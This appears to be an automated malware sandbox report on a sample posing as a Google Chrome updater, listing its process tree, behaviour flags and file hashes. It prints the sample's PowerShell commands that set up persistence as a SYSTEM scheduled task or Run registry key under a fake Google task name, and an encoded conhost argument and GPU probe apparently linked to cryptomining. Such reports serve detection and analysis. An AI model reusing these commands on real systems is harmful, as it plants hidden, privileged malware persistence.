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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4208
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:3540
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4744
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:3204
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:3616
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4616 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2868
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:1060
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
345KB
MD50288c458f3538ec236c7a50f190b0e46
SHA17bc096757b38d67e106c8f83ead850d00135d4b0
SHA256977c93a332cea0076592deec328608b2003bfc4ade6c066b4d18a0f164dd265b
SHA512b247e8e2b8de1d3a6cafe652a4b11d9583441e41053d814045d93ac50b376825ccf225403cf4ecdd999b6b1cc42bf9ca08d739ed5324963fa476604ec38eeef4
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Filesize
715KB
MD5c385072278e6ed6e9648c426bfe01357
SHA1a767d0e894b86405992e47db68a83aba4c27d296
SHA256873b27976e7ce094f45160d0e1bbf0bad40807e6b073f048391043a7322eb49b
SHA512ae8d715399c44c98ac1ffac8639079b00c967e4c61de5a28a7916cbb18864b61ac14a957921a7aef4a51cc56eb3786e7a89da68601fc072ca4fb4d2c661dc59d
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
1KB
MD57888d512a027fd6fe981671037531ea0
SHA1f9a0bd55f73835cb3f753fa0c04e0897ad111e6d
SHA25645af4e639b95cc4c290129f49fc14ae02507a6976c33125f4e9a851d0240b1de
SHA512c84c137dc3ac61e91e3c90685b5f84c71622a3895c73c2ec29acafdcc895610c4bc17e60ff41bc594c8f01b2e40932120a95203b827336d22354f2ef00499927
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5